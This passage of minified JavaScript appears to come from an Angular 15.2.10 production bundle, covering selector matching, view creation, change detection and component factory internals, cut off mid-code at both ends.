d6{constructor(t){this.full=t,this.major=t.split(".")[0],this.minor=t.split(".")[1],this.patch=t.split(".").slice(2).join(".")}}const Dl=new d6("15.2.10"),A4={},S4="ngOriginalError";function E4(e){return e[S4]}class Ls{constructor(){this._console=console}handleError(t){const i=this._findOriginalError(t);this._console.error("ERROR",t),i&&this._console.error("ORIGINAL ERROR",i)}_findOriginalError(t){let i=t&&E4(t);for(;i&&E4(i);)i=E4(i);return i||null}}function u6(e){return e.ownerDocument.defaultView}function h6(e){return e.ownerDocument}function Or(e){return e instanceof Function?e():e}function T4(e,t,i){let r=e.length;for(;;){const o=e.indexOf(t,i);if(-1===o)return o;if(0===o||e.charCodeAt(o-1)<=32){const l=t.length;if(o+l===r||e.charCodeAt(o+l)<=32)return o}i=o+1}}const f6="ng-template";function Ol(e,t,i){let r=0,o=!0;for(;r<e.length;){let l=e[r++];if("string"==typeof l&&o){const v=e[r++];if(i&&"class"===l&&-1!==T4(v.toLowerCase(),t,0))return!0}else{if(1===l){for(;r<e.length&&"string"==typeof(l=e[r++]);)if(l.toLowerCase()===t)return!0;return!1}"number"==typeof l&&(o=!1)}}return!1}function p6(e){return 4===e.type&&e.value!==f6}function Il(e,t,i){return t===(4!==e.type||i?e.value:f6)}function Rl(e,t,i){let r=4;const o=e.attrs||[],l=function Nl(e){for(let t=0;t<e.length;t++)if(kn(e[t]))return t;return e.length}(o);let v=!1;for(let F=0;F<t.length;F++){const Y=t[F];if("number"!=typeof Y){if(!v)if(4&r){if(r=2|1&r,""!==Y&&!Il(e,Y,i)||""===Y&&1===t.length){if(rr(r))return!1;v=!0}}else{const me=8&r?Y:t[++F];if(8&r&&null!==e.attrs){if(!Ol(e.attrs,me,i)){if(rr(r))return!1;v=!0}continue}const ft=Pl(8&r?"class":Y,o,p6(e),i);if(-1===ft){if(rr(r))return!1;v=!0;continue}if(""!==me){let zt;zt=ft>l?"":o[ft+1].toLowerCase();const Nt=8&r?zt:null;if(Nt&&-1!==T4(Nt,me,0)||2&r&&me!==zt){if(rr(r))return!1;v=!0}}}}else{if(!v&&!rr(r)&&!rr(Y))return!1;if(v&&rr(Y))continue;v=!1,r=Y|1&r}}return rr(r)||v}function rr(e){return 0==(1&e)}function Pl(e,t,i,r){if(null===t)return-1;let o=0;if(r||!i){let l=!1;for(;o<t.length;){const v=t[o];if(v===e)return o;if(3===v||6===v)l=!0;else{if(1===v||2===v){let F=t[++o];for(;"string"==typeof F;)F=t[++o];continue}if(4===v)break;if(0===v){o+=4;continue}}o+=l?1:2}return-1}return function Hl(e,t){let i=e.indexOf(4);if(i>-1)for(i++;i<e.length;){const r=e[i];if("number"==typeof r)return-1;if(r===t)return i;i++}return-1}(t,e)}function m6(e,t,i=!1){for(let r=0;r<t.length;r++)if(Rl(e,t[r],i))return!0;return!1}function Vl(e,t){e:for(let i=0;i<t.length;i++){const r=t[i];if(e.length===r.length){for(let o=0;o<e.length;o++)if(e[o]!==r[o])continue e;return!0}}return!1}function g6(e,t){return e?":not("+t.trim()+")":t}function Bl(e){let t=e[0],i=1,r=2,o="",l=!1;for(;i<e.length;){let v=e[i];if("string"==typeof v)if(2&r){const F=e[++i];o+="["+v+(F.length>0?\'="\'+F+\'"\':"")+"]"}else 8&r?o+="."+v:4&r&&(o+=" "+v);else""!==o&&!rr(v)&&(t+=g6(l,o),o=""),r=v,l=l||!rr(r);i++}return""!==o&&(t+=g6(l,o)),t}const U1={};function v6(e){_6(t1(),Tt(),hn()+e,!1)}function _6(e,t,i,r){if(!r)if(3==(3&t[h1])){const l=e.preOrderCheckHooks;null!==l&&M1(t,l,i)}else{const l=e.preOrderHooks;null!==l&&H1(t,l,0,i)}zn(i)}function M6(e,t=null,i=null,r){const o=x6(e,t,i,r);return o.resolveInjectorInitializers(),o}function x6(e,t=null,i=null,r,o=new Set){const l=[i||at,ol(e)];return r=r||("object"==typeof e?void 0:_(e)),new s6(l,t||vo(),r||null,o)}let ba=(()=>{class e{static create(i,r){if(Array.isArray(i))return M6({name:""},r,i,"");{const o=i.name??"";return M6({name:o},i.parent,i.providers,o)}}}return e.THROW_IF_NOT_FOUND=Vt,e.NULL=new n6,e.\\u0275prov=Be({token:e,providedIn:"any",factory:()=>Pe(e6)}),e.__NG_ELEMENT_ID__=-1,e})();function Ga(e,t=Ie.Default){const i=Tt();return null===i?Pe(e,t):Hr(W1(),i,z(e),t)}function E6(){throw new Error("invalid")}function z6(e,t){const i=e.contentQueries;if(null!==i)for(let r=0;r<i.length;r+=2){const l=i[r+1];if(-1!==l){const v=e.data[l];A1(i[r]),v.contentQueries(2,t[l],l)}}}function yo(e,t,i,r,o,l,v,F,Y,me,$e){const ft=t.blueprint.slice();return ft[w1]=o,ft[h1]=76|r,(null!==$e||e&&1024&e[h1])&&(ft[h1]|=1024),w2(ft),ft[N1]=ft[cn]=e,ft[E1]=i,ft[Gn]=v||e&&e[Gn],ft[D1]=F||e&&e[D1],ft[ci]=Y||e&&e[ci]||null,ft[In]=me||e&&e[In]||null,ft[V1]=l,ft[$n]=function vs(){return eo++}(),ft[li]=$e,ft[X1]=2==t.type?e[X1]:ft,ft}function ja(e,t,i,r,o){let l=e.data[t];if(null===l)l=function F4(e,t,i,r,o){const l=Bn(),v=Yn(),Y=e.data[t]=function f8(e,t,i,r,o,l){return{type:i,index:r,insertBeforeIndex:null,injectorIndex:t?t.injectorIndex:-1,directiveStart:-1,directiveEnd:-1,directiveStylingLast:-1,componentOffset:-1,propertyBindings:null,flags:0,providerIndexes:0,value:o,attrs:l,mergedAttrs:null,localNames:null,initialInputs:void 0,inputs:null,outputs:null,tView:null,next:null,prev:null,projectionNext:null,child:null,parent:t,projection:null,styles:null,stylesWithoutHost:null,residualStyles:void 0,classes:null,classesWithoutHost:null,residualClasses:void 0,classBindings:0,styleBindings:0}}(0,v?l:l&&l.parent,i,t,r,o);return null===e.firstChild&&(e.firstChild=Y),null!==l&&(v?null==l.child&&null!==Y.parent&&(l.child=Y):null===l.next&&(l.next=Y,Y.prev=l)),Y}(e,t,i,r,o),function yt(){return ye.lFrame.inI18n}()&&(l.flags|=32);else if(64&l.type){l.type=i,l.value=r,l.attrs=o;const v=function Dn(){const e=ye.lFrame,t=e.currentTNode;return e.isParent?t:t.parent}();l.injectorIndex=null===v?-1:v.injectorIndex}return sn(l,!0),l}function ks(e,t,i,r){if(0===i)return-1;const o=t.length;for(let l=0;l<i;l++)t.push(r),e.blueprint.push(r),e.data.push(null);return o}function N4(e,t,i){Q1(t);try{const r=e.viewQuery;null!==r&&W4(1,r,i);const o=e.template;null!==o&&T6(e,t,o,1,i),e.firstCreatePass&&(e.firstCreatePass=!1),e.staticContentQueries&&z6(e,t),e.staticViewQueries&&W4(2,e.viewQuery,i);const l=e.components;null!==l&&function d8(e,t){for(let i=0;i<t.length;i++)k8(e,t[i])}(t,l)}catch(r){throw e.firstCreatePass&&(e.incompleteFirstPass=!0,e.firstCreatePass=!1),r}finally{t[h1]&=-5,e2()}}function bo(e,t,i,r){const o=t[h1];if(128!=(128&o)){Q1(t);try{w2(t),function Z(e){return ye.lFrame.bindingIndex=e}(e.bindingStartIndex),null!==i&&T6(e,t,i,2,r);const v=3==(3&o);if(v){const me=e.preOrderCheckHooks;null!==me&&M1(t,me,null)}else{const me=e.preOrderHooks;null!==me&&H1(t,me,0,null),N(t,0)}if(function F6(e){for(let t=$r(e);null!==t;t=ir(t)){if(!t[di])continue;const i=t[Nn];for(let r=0;r<i.length;r++){const o=i[r];512&o[h1]||c2(o[N1],1),o[h1]|=512}}}(t),function T8(e){for(let t=$r(e);null!==t;t=ir(t))for(let i=ln;i<t.length;i++){const r=t[i],o=r[Qt];xn(r)&&bo(o,r,o.template,r[E1])}}(t),null!==e.contentQueries&&z6(e,t),v){const me=e.contentCheckHooks;null!==me&&M1(t,me)}else{const me=e.contentHooks;null!==me&&H1(t,me,1),N(t,1)}!function c8(e,t){const i=e.hostBindingOpCodes;if(null!==i)try{for(let r=0;r<i.length;r++){const o=i[r];if(o<0)zn(~o);else{const l=o,v=i[++r],F=i[++r];Ft(v,l),F(2,t[l])}}}finally{zn(-1)}}(e,t);const F=e.components;null!==F&&function l8(e,t){for(let i=0;i<t.length;i++)L8(e,t[i])}(t,F);const Y=e.viewQuery;if(null!==Y&&W4(2,Y,r),v){const me=e.viewCheckHooks;null!==me&&M1(t,me)}else{const me=e.viewHooks;null!==me&&H1(t,me,2),N(t,2)}!0===e.firstUpdatePass&&(e.firstUpdatePass=!1),t[h1]&=-41,512&t[h1]&&(t[h1]&=-513,c2(t[N1],-1))}finally{e2()}}}function T6(e,t,i,r,o){const l=hn(),v=2&r;try{zn(-1),v&&t.length>L1&&_6(e,t,L1,!1),bn(v?2:0,o),i(r,o)}finally{zn(l),bn(v?3:1,o)}}function H4(e,t,i){if(Ei(t)){const o=t.directiveEnd;for(let l=t.directiveStart;l<o;l++){const v=e.data[l];v.contentQueries&&v.contentQueries(1,i[l],l)}}}function V4(e,t,i){gt()&&(function b8(e,t,i,r){const o=i.directiveStart,l=i.directiveEnd;Hn(i)&&function S8(e,t,i){const r=_n(t,e),o=U4(i),l=e[Gn],v=xo(e,yo(e,o,null,i.onPush?32:16,r,t,l,l.createRenderer(r,i),null,null,null));e[t.index]=v}(t,i,e.data[o+i.componentOffset]),e.firstCreatePass||cr(i,t),et(r,t);const v=i.initialInputs;for(let F=o;F<l;F++){const Y=e.data[F],me=k2(t,e,F,i);et(me,t),null!==v&&E8(0,F-o,me,Y,0,v),pn(Y)&&(Vn(i.index,t)[E1]=k2(t,e,F,i))}}(e,t,i,_n(i,t)),64==(64&i.flags)&&R6(e,t,i))}function B4(e,t,i=_n){const r=t.localNames;if(null!==r){let o=t.index+1;for(let l=0;l<r.length;l+=2){const v=r[l+1],F=-1===v?i(t,e):e[v];e[o++]=F}}}function U4(e){const t=e.tView;return null===t||t.incompleteFirstPass?e.tView=G4(1,null,e.template,e.decls,e.vars,e.directiveDefs,e.pipeDefs,e.viewQuery,e.schemas,e.consts):t}function G4(e,t,i,r,o,l,v,F,Y,me){const $e=L1+r,ft=$e+o,zt=function u8(e,t){const i=[];for(let r=0;r<t;r++)i.push(r<e?null:U1);return i}($e,ft),Nt="function"==typeof me?me():me;return zt[Qt]={type:e,blueprint:zt,template:i,queries:null,viewQuery:F,declTNode:t,data:zt.slice().fill(null,$e),bindingStartIndex:$e,expandoStartIndex:ft,hostBindingOpCodes:null,firstCreatePass:!0,firstUpdatePass:!0,staticViewQueries:!1,staticContentQueries:!1,preOrderHooks:null,preOrderCheckHooks:null,contentHooks:null,contentCheckHooks:null,viewHooks:null,viewCheckHooks:null,destroyHooks:null,cleanup:null,contentQueries:null,components:null,directiveRegistry:"function"==typeof l?l():l,pipeRegistry:"function"==typeof v?v():v,firstChild:null,schemas:Y,consts:Nt,incompleteFirstPass:!1}}function L6(e,t,i,r){const o=N6(t);null===i?o.push(r):(o.push(i),e.firstCreatePass&&H6(e).push(r,o.length-1))}function k6(e,t,i,r){for(let o in e)if(e.hasOwnProperty(o)){i=null===i?{}:i;const l=e[o];null===r?O6(i,t,o,l):r.hasOwnProperty(o)&&O6(i,t,r[o],l)}return i}function O6(e,t,i,r){e.hasOwnProperty(i)?e[i].push(t,r):e[i]=[t,r]}function F2(e,t,i,r,o,l,v,F){const Y=_n(t,i);let $e,me=t.inputs;!F&&null!=me&&($e=me[r])?($4(e,i,$e,r,o),Hn(t)&&function g8(e,t){const i=Vn(t,e);16&i[h1]||(i[h1]|=32)}(i,t.index)):3&t.type&&(r=function m8(e){return"class"===e?"className":"for"===e?"htmlFor":"formaction"===e?"formAction":"innerHtml"===e?"innerHTML":"readonly"===e?"readOnly":"tabindex"===e?"tabIndex":e}(r),o=null!=v?v(o,t.value||"",r):o,l.setProperty(Y,r,o))}function Co(e,t,i,r){if(gt()){const o=null===r?null:{"":-1},l=function M8(e,t){const i=e.directiveRegistry;let r=null,o=null;if(i)for(let l=0;l<i.length;l++){const v=i[l];if(m6(t,v.selectors,!1))if(r||(r=[]),pn(v))if(null!==v.findHostDirectiveDefs){const F=[];o=o||new Map,v.findHostDirectiveDefs(v,F,o),r.unshift(...F,v),j4(e,t,F.length)}else r.unshift(v),j4(e,t,0);else o=o||new Map,v.findHostDirectiveDefs?.(v,r,o),r.push(v)}return null===r?null:[r,o]}(e,i);let v,F;null===l?v=F=null:[v,F]=l,null!==v&&I6(e,t,i,v,o,F),o&&function x8(e,t,i){if(t){const r=e.localNames=[];for(let o=0;o<t.length;o+=2){const l=i[t[o+1]];if(null==l)throw new Q(-301,!1);r.push(t[o],l)}}}(i,r,o)}i.mergedAttrs=wi(i.mergedAttrs,i.attrs)}function I6(e,t,i,r,o,l){for(let me=0;me<r.length;me++)Mr(cr(i,t),e,r[me].type);!function w8(e,t,i){e.flags|=1,e.directiveStart=t,e.directiveEnd=t+i,e.providerIndexes=t}(i,e.data.length,r.length);for(let me=0;me<r.length;me++){const $e=r[me];$e.providersResolver&&$e.providersResolver($e)}let v=!1,F=!1,Y=ks(e,t,r.length,null);for(let me=0;me<r.length;me++){const $e=r[me];i.mergedAttrs=wi(i.mergedAttrs,$e.hostAttrs),A8(e,i,t,Y,$e),D8(Y,$e,o),null!==$e.contentQueries&&(i.flags|=4),(null!==$e.hostBindings||null!==$e.hostAttrs||0!==$e.hostVars)&&(i.flags|=64);const ft=$e.type.prototype;!v&&(ft.ngOnChanges||ft.ngOnInit||ft.ngDoCheck)&&((e.preOrderHooks??(e.preOrderHooks=[])).push(i.index),v=!0),!F&&(ft.ngOnChanges||ft.ngDoCheck)&&((e.preOrderCheckHooks??(e.preOrderCheckHooks=[])).push(i.index),F=!0),Y++}!function p8(e,t,i){const o=t.directiveEnd,l=e.data,v=t.attrs,F=[];let Y=null,me=null;for(let $e=t.directiveStart;$e<o;$e++){const ft=l[$e],zt=i?i.get(ft):null,Kt=zt?zt.outputs:null;Y=k6(ft.inputs,$e,Y,zt?zt.inputs:null),me=k6(ft.outputs,$e,me,Kt);const r1=null===Y||null===v||p6(t)?null:z8(Y,$e,v);F.push(r1)}null!==Y&&(Y.hasOwnProperty("class")&&(t.flags|=8),Y.hasOwnProperty("style")&&(t.flags|=16)),t.initialInputs=F,t.inputs=Y,t.outputs=me}(e,i,l)}function R6(e,t,i){const r=i.directiveStart,o=i.directiveEnd,l=i.index,v=function Ut(){return ye.lFrame.currentDirectiveIndex}();try{zn(l);for(let F=r;F<o;F++){const Y=e.data[F],me=t[F];o1(F),(null!==Y.hostBindings||0!==Y.hostVars||null!==Y.hostAttrs)&&C8(Y,me)}}finally{zn(-1),o1(v)}}function C8(e,t){null!==e.hostBindings&&e.hostBindings(1,t)}function j4(e,t,i){t.componentOffset=i,(e.components??(e.components=[])).push(t.index)}function D8(e,t,i){if(i){if(t.exportAs)for(let r=0;r<t.exportAs.length;r++)i[t.exportAs[r]]=e;pn(t)&&(i[""]=e)}}function A8(e,t,i,r,o){e.data[r]=o;const l=o.factory||(o.factory=ai(o.type)),v=new ht(l,pn(o),Ga);e.blueprint[r]=v,i[r]=v,function _8(e,t,i,r,o){const l=o.hostBindings;if(l){let v=e.hostBindingOpCodes;null===v&&(v=e.hostBindingOpCodes=[]);const F=~t.index;(function y8(e){let t=e.length;for(;t>0;){const i=e[--t];if("number"==typeof i&&i<0)return i}return 0})(v)!=F&&v.push(F),v.push(i,r,l)}}(e,t,r,ks(e,i,o.hostVars,U1),o)}function pr(e,t,i,r,o,l){const v=_n(e,t);!function Mo(e,t,i,r,o,l,v){if(null==l)e.removeAttribute(t,o,i);else{const F=null==v?Ce(l):v(l,r||"",o);e.setAttribute(t,o,F,i)}}(t[D1],v,l,e.value,i,r,o)}function E8(e,t,i,r,o,l){const v=l[t];if(null!==v){const F=r.setInput;for(let Y=0;Y<v.length;){const me=v[Y++],$e=v[Y++],ft=v[Y++];null!==F?r.setInput(i,ft,me,$e):i[$e]=ft}}}function z8(e,t,i){let r=null,o=0;for(;o<i.length;){const l=i[o];if(0!==l)if(5!==l){if("number"==typeof l)break;if(e.hasOwnProperty(l)){null===r&&(r=[]);const v=e[l];for(let F=0;F<v.length;F+=2)if(v[F]===t){r.push(l,v[F+1],i[o+1]);break}}o+=2}else o+=2;else o+=4}return r}function P6(e,t,i,r){return[e,!0,!1,t,null,0,r,i,null,null]}function L8(e,t){const i=Vn(t,e);if(xn(i)){const r=i[Qt];48&i[h1]?bo(r,i,r.template,i[E1]):i[T1]>0&&Y4(i)}}function Y4(e){for(let r=$r(e);null!==r;r=ir(r))for(let o=ln;o<r.length;o++){const l=r[o];if(xn(l))if(512&l[h1]){const v=l[Qt];bo(v,l,v.template,l[E1])}else l[T1]>0&&Y4(l)}const i=e[Qt].components;if(null!==i)for(let r=0;r<i.length;r++){const o=Vn(i[r],e);xn(o)&&o[T1]>0&&Y4(o)}}function k8(e,t){const i=Vn(t,e),r=i[Qt];(function O8(e,t){for(let i=t.length;i<e.blueprint.length;i++)t.push(e.blueprint[i])})(r,i),N4(r,i,i[E1])}function xo(e,t){return e[fn]?e[Rn][Y1]=t:e[fn]=t,e[Rn]=t,t}function Do(e){for(;e;){e[h1]|=32;const t=C2(e);if(Fi(e)&&!t)return e;e=t}return null}function wo(e,t,i,r=!0){const o=t[Gn];o.begin&&o.begin();try{bo(e,t,e.template,i)}catch(v){throw r&&B6(t,v),v}finally{o.end&&o.end()}}function W4(e,t,i){A1(0),t(e,i)}function N6(e){return e[vn]||(e[vn]=[])}function H6(e){return e.cleanup||(e.cleanup=[])}function V6(e,t,i){return(null===e||pn(e))&&(i=function Mi(e){for(;Array.isArray(e);){if("object"==typeof e[Mn])return e;e=e[w1]}return null}(i[t.index])),i[D1]}function B6(e,t){const i=e[In],r=i?i.get(Ls,null):null;r&&r.handleError(t)}function $4(e,t,i,r,o){for(let l=0;l<i.length;){const v=i[l++],F=i[l++],Y=t[v],me=e.data[v];null!==me.setInput?me.setInput(Y,o,r,F):Y[F]=o}}function mr(e,t,i){const r=m2(t,e);!function to(e,t,i){e.setValue(t,i)}(e[D1],r,i)}function Ao(e,t,i){let r=i?e.styles:null,o=i?e.classes:null,l=0;if(null!==t)for(let v=0;v<t.length;v++){const F=t[v];"number"==typeof F?l=F:1==l?o=S(o,F):2==l&&(r=S(r,F+": "+t[++v]+";"))}i?e.styles=r:e.stylesWithoutHost=r,i?e.classes=o:e.classesWithoutHost=o}function So(e,t,i,r,o=!1){for(;null!==i;){const l=t[i.index];if(null!==l&&r.push(en(l)),Sn(l))for(let F=ln;F<l.length;F++){const Y=l[F],me=Y[Qt].firstChild;null!==me&&So(Y[Qt],Y,me,r)}const v=i.type;if(8&v)So(e,t,i.child,r);else if(32&v){const F=s2(i,t);let Y;for(;Y=F();)r.push(Y)}else if(16&v){const F=a4(t,i);if(Array.isArray(F))r.push(...F);else{const Y=C2(t[X1]);So(Y[Qt],Y,F,r,!0)}}i=o?i.projectionNext:i.next}return r}class Os{get rootNodes(){const t=this._lView,i=t[Qt];return So(i,t,i.firstChild,[])}constructor(t,i){this._lView=t,this._cdRefInjectingView=i,this._appRef=null,this._attachedToViewContainer=!1}get context(){return this._lView[E1]}set context(t){this._lView[E1]=t}get destroyed(){return 128==(128&this._lView[h1])}destroy(){if(this._appRef)this._appRef.detachView(this);else if(this._attachedToViewContainer){const t=this._lView[N1];if(Sn(t)){const i=t[_i],r=i?i.indexOf(this):-1;r>-1&&(xs(t,r),X2(i,r))}this._attachedToViewContainer=!1}ro(this._lView[Qt],this._lView)}onDestroy(t){L6(this._lView[Qt],this._lView,null,t)}markForCheck(){Do(this._cdRefInjectingView||this._lView)}detach(){this._lView[h1]&=-65}reattach(){this._lView[h1]|=64}detectChanges(){wo(this._lView[Qt],this._lView,this.context)}checkNoChanges(){}attachToViewContainerRef(){if(this._appRef)throw new Q(902,!1);this._attachedToViewContainer=!0}detachFromAppRef(){this._appRef=null,function Qo(e,t){ws(e,t,t[D1],2,null,null)}(this._lView[Qt],this._lView)}attachToAppRef(t){if(this._attachedToViewContainer)throw new Q(902,!1);this._appRef=t}}class U6 extends Os{constructor(t){super(t),this._view=t}detectChanges(){const t=this._view;wo(t[Qt],t,t[E1],!1)}checkNoChanges(){}get context(){return null}}class G6 extends zs{constructor(t){super(),this.ngModule=t}resolveComponentFactory(t){const i=O(t);return new Is(i,this.ngModule)}}function j6(e){const t=[];for(let i in e)e.hasOwnProperty(i)&&t.push({propName:e[i],templateName:i});return t}class Y6{constructor(t,i){this.injector=t,this.parentInjector=i}get(t,i,r){r=xe(r);const o=this.injector.get(t,A4,r);return o!==A4||i===A4?o:this.parentInjector.get(t,i,r)}}class Is extends w4{get inputs(){return j6(this.componentDef.inputs)}get outputs(){return j6(this.componentDef.outputs)}constructor(t,i){super(),this.componentDef=t,this.ngModule=i,this.componentType=t.type,this.selector=function Ul(e){return e.map(Bl).join(",")}(t.selectors),this.ngContentSelectors=t.ngContentSelectors?t.ngContentSelectors:[],this.isBoundToModule=!!i}create(t,i,r,o){let l=(o=o||this.ngModule)instanceof ya?o:o?.injector;l&&null!==this.componentDef.getStandaloneInjector&&(l=this.componentDef.getStandaloneInjector(l)||l);const v=l?new Y6(t,l):t,F=v.get(l6,null);if(null===F)throw new Q(407,!1);const Y=v.get(xl,null),me=F.createRenderer(null,this.componentDef),$e=this.componentDef.selectors[0][0]||"div",ft=r?function h8(e,t,i){return e.selectRootElement(t,i===fe.ShadowDom)}(me,r,this.componentDef.encapsulation):Ms(me,$e,function I8(e){const t=e.toLowerCase();return"svg"===t?Gi:"math"===t?"math":null}($e)),zt=this.componentDef.onPush?288:272,Nt=G4(0,null,null,1,0,null,null,null,null,null),Kt=yo(null,Nt,null,zt,null,null,F,me,Y,v,null);let r1,m1;Q1(Kt);try{const b1=this.componentDef;let R1,Xt=null;b1.findHostDirectiveDefs?(R1=[],Xt=new Map,b1.findHostDirectiveDefs(b1,R1,Xt),R1.push(b1)):R1=[b1];const j1=function R8(e,t){const i=e[Qt],r=L1;return e[r]=t,ja(i,r,2,"#host",null)}(Kt,ft),vi=function P8(e,t,i,r,o,l,v,F){const Y=o[Qt];!function F8(e,t,i,r){for(const o of e)t.mergedAttrs=wi(t.mergedAttrs,o.hostAttrs);null!==t.mergedAttrs&&(Ao(t,t.mergedAttrs,!0),null!==i&&P3(r,i,t))}(r,e,t,v);const me=l.createRenderer(t,i),$e=yo(o,U4(i),null,i.onPush?32:16,o[e.index],e,l,me,F||null,null,null);return Y.firstCreatePass&&j4(Y,e,r.length-1),xo(o,$e),o[e.index]=$e}(j1,ft,b1,R1,Kt,F,me);m1=pi(Nt,L1),ft&&function H8(e,t,i,r){if(r)rn(e,i,["ng-version",Dl.full]);else{const{attrs:o,classes:l}=function Gl(e){const t=[],i=[];let r=1,o=2;for(;r<e.length;){let l=e[r];if("string"==typeof l)2===o?""!==l&&t.push(l,e[++r]):8===o&&i.push(l);else{if(!rr(o))break;o=l}r++}return{attrs:t,classes:i}}(t.selectors[0]);o&&rn(e,i,o),l&&l.length>0&&R3(e,i,l.join(" "))}}(me,b1,ft,r),void 0!==i&&function V8(e,t,i){const r=e.projection=[];for(let o=0;o<t.length;o++){const l=i[o];r.push(null!=l?Array.from(l):null)}}(m1,this.ngContentSelectors,i),r1=function N8(e,t,i,r,o,l){const v=W1(),F=o[Qt],Y=_n(v,o);I6(F,o,v,i,null,r);for(let $e=0;$e<i.length;$e++)et(k2(o,F,v.directiveStart+$e,v),o);R6(F,o,v),Y&&et(Y,o);const me=k2(o,F,v.directiveStart+v.componentOffset,v);if(e[E1]=o[E1]=me,null!==l)for(const $e of l)$e(me,t);return H4(F,v,e),me}(vi,b1,R1,Xt,Kt,[B8]),N4(Nt,Kt,null)}finally{e2()}return new W6(this.componentType,r1,Va(m1,Kt),Kt,m1)}}class W6 extends gl{constructor(t,i,r,o,l){super(),this.location=r,this._rootLView=o,this._tNode=l,this.instance=i,this.hostView=this.changeDetectorRef=new U6(o),this.componentType=t}setInput(t,i){const r=this._tNode.inputs;let o;if(null!==r&&(o=r[t])){const l=this._rootLView;$4(l[Qt],l,o,t,i),Do(Vn(this._tNode.index,l))}}get injector(){return new O2(this._tNode,this._rootLView)}destroy(){this.hostView.destroy()}onDestroy(t){this.hostView.onDestroy(t)}}function B8(){const e=W1();y1(Tt()[Qt],e)}function K4(e){let t=function $6(e){return Object.getPrototypeOf(e.prototype).constructor}(e.type),i=!0;const r=[e];for(;t;){let o;if(pn(e))o=t.\\u0275cmp||t.\\u0275dir;else{if(t.\\u0275cmp)throw new Q(903,!1);o=t.\\u0275dir}if(o){if(i){r.push(o);const v=e;v.inputs=Z4(e.inputs),v.declaredInputs=Z4(e.declaredInputs),v.outputs=Z4(e.outputs);const F=o.hostBindings;F&&Y8(e,F);const Y=o.viewQuery,me=o.contentQueries;if(Y&&G8(e,Y),me&&j8(e,me),E(e.inputs,o.inputs),E(e.declaredInputs,o.declaredInputs),E(e.outputs,o.outputs),pn(o)&&o.data.animation){const $e=e.data;$e.animation=($e.animation||[]).concat(o.data.animation)}}const l=o.features;if(l)for(let v=0;v<l.length;v++){const F=l[v];F&&F.ngInherit&&F(e),F===K4&&(i=!1)}}t=Object.getPrototypeOf(t)}!function U8(e){let t=0,i=null;for(let r=e.length-1;r>=0;r--){const o=e[r];o.hostVars=t+=o.hostVars,o.hostAttrs=wi(o.hostAttrs,i=wi(i,o.hostAttrs))}}(r)}function Z4(e){return e===Ee?{}:e===at?[]:e}function G8(e,t){const i=e.viewQuery;e.viewQuery=i?(r,o)=>{t(r,o),i(r,o)}:t}function j8(e,t){const i=e.contentQueries;e.contentQueries=i?(r,o,l)=>{t(r,o,l),i(r,o,l)}:t}function Y8(e,t){const i=e.hostBindings;e.hostBindings=i?(r,o)=>{t(r,o),i(r,o)}:t}function Eo(e){return!!Q4(e)&&(Array.isArray(e)||!(e instanceof Map)&&Symbol.iterator in e)}function Q4(e){return null!==e&&("function"==typeof e||"object"==typeof e)}function gr(e,t,i){return e[t]=i}function M2(e,t,i){return!Object.is(e[t],i)&&(e[t]=i,!0)}function Ca(e,t,i,r){const o=M2(e,t,i);return M2(e,t+1,r)||o}function zo(e,t,i,r,o){const l=Ca(e,t,i,r);return M2(e,t+2,o)||l}function q4(e,t,i,r){const o=Tt();return M2(o,Le(),t)&&(t1(),pr($1(),o,e,t,i,r)),q4}function Wa(e,t,i,r){return M2(e,Le(),i)?t+Ce(i)+r:U1}function $a(e,t,i,r,o,l){const F=Ca(e,D(),i,o);return rt(2),F?t+Ce(i)+r+Ce(o)+l:U1}function Za(e,t,i,r,o,l,v,F,Y,me){const ft=function j2(e,t,i,r,o,l){const v=Ca(e,t,i,r);return Ca(e,t+2,o,l)||v}(e,D(),i,o,v,Y);return rt(4),ft?t+Ce(i)+r+Ce(o)+l+Ce(v)+F+Ce(Y)+me:U1}function s0(e,t,i,r,o,l,v,F){const Y=Tt(),me=t1(),$e=e+L1,ft=me.firstCreatePass?function t5(e,t,i,r,o,l,v,F,Y){const me=t.consts,$e=ja(t,e,4,v||null,Qn(me,F));Co(t,i,$e,Qn(me,Y)),y1(t,$e);const ft=$e.tView=G4(2,$e,r,o,l,t.directiveRegistry,t.pipeRegistry,null,t.schemas,me);return null!==t.queries&&(t.queries.template(t,$e),ft.queries=t.queries.embeddedTView($e)),$e}($e,me,Y,t,i,r,o,l,v):me.data[$e];sn(ft,!1);const zt=Y[D1].createComment("");uo(me,Y,zt,ft),et(zt,Y),xo(Y,Y[$e]=P6(zt,Y,zt,ft)),ui(ft)&&V4(me,Y,ft),null!=v&&B4(Y,ft,F)}function o0(e){return si(function xi(){return ye.lFrame.contextLView}(),L1+e)}function X4(e,t,i){const r=Tt();return M2(r,Le(),t)&&F2(t1(),$1(),r,e,t,r[D1],i,!1),X4}function e3(e,t,i,r,o){const v=o?"class":"style";$4(e,i,t.inputs[v],v,r)}function To(e,t,i,r){const o=Tt(),l=t1(),v=L1+e,F=o[D1],Y=l.firstCreatePass?function c0(e,t,i,r,o,l){const v=t.consts,Y=ja(t,e,2,r,Qn(v,o));return Co(t,i,Y,Qn(v,l)),null!==Y.attrs&&Ao(Y,Y.attrs,!1),null!==Y.mergedAttrs&&Ao(Y,Y.mergedAttrs,!0),null!==t.queries&&t.queries.elementStart(t,Y),Y}(v,l,o,t,i,r):l.data[v],me=o[v]=Ms(F,t,function W2(){return ye.lFrame.currentNamespace}()),$e=ui(Y);return sn(Y,!0),P3(F,me,Y),32!=(32&Y.flags)&&uo(l,o,me,Y),0===function L(){return ye.lFrame.elementDepthCount}()&&et(me,o),function T(){ye.lFrame.elementDepthCount++}(),$e&&(V4(l,o,Y),H4(l,Y,o)),null!==r&&B4(o,Y),To}function Lo(){let e=W1();Yn()?qn():(e=e.parent,sn(e,!1));const t=e;!function ue(){ye.lFrame.elementDepthCount--}();const i=t1();return i.firstCreatePass&&(y1(i,e),Ei(e)&&i.queries.elementEnd(e)),null!=t.classesWithoutHost&&function g1(e){return 0!=(8&e.flags)}(t)&&e3(i,t,Tt(),t.classesWithoutHost,!0),null!=t.stylesWithoutHost&&function B1(e){return 0!=(16&e.flags)}(t)&&e3(i,t,Tt(),t.stylesWithoutHost,!1),Lo}function t3(e,t,i,r){return To(e,t,i,r),Lo(),t3}function ko(e,t,i){const r=Tt(),o=t1(),l=e+L1,v=o.firstCreatePass?function r5(e,t,i,r,o){const l=t.consts,v=Qn(l,r),F=ja(t,e,8,"ng-container",v);return null!==v&&Ao(F,v,!0),Co(t,i,F,Qn(l,o)),null!==t.queries&&t.queries.elementStart(t,F),F}(l,o,r,t,i):o.data[l];sn(v,!0);const F=r[l]=r[D1].createComment("");return 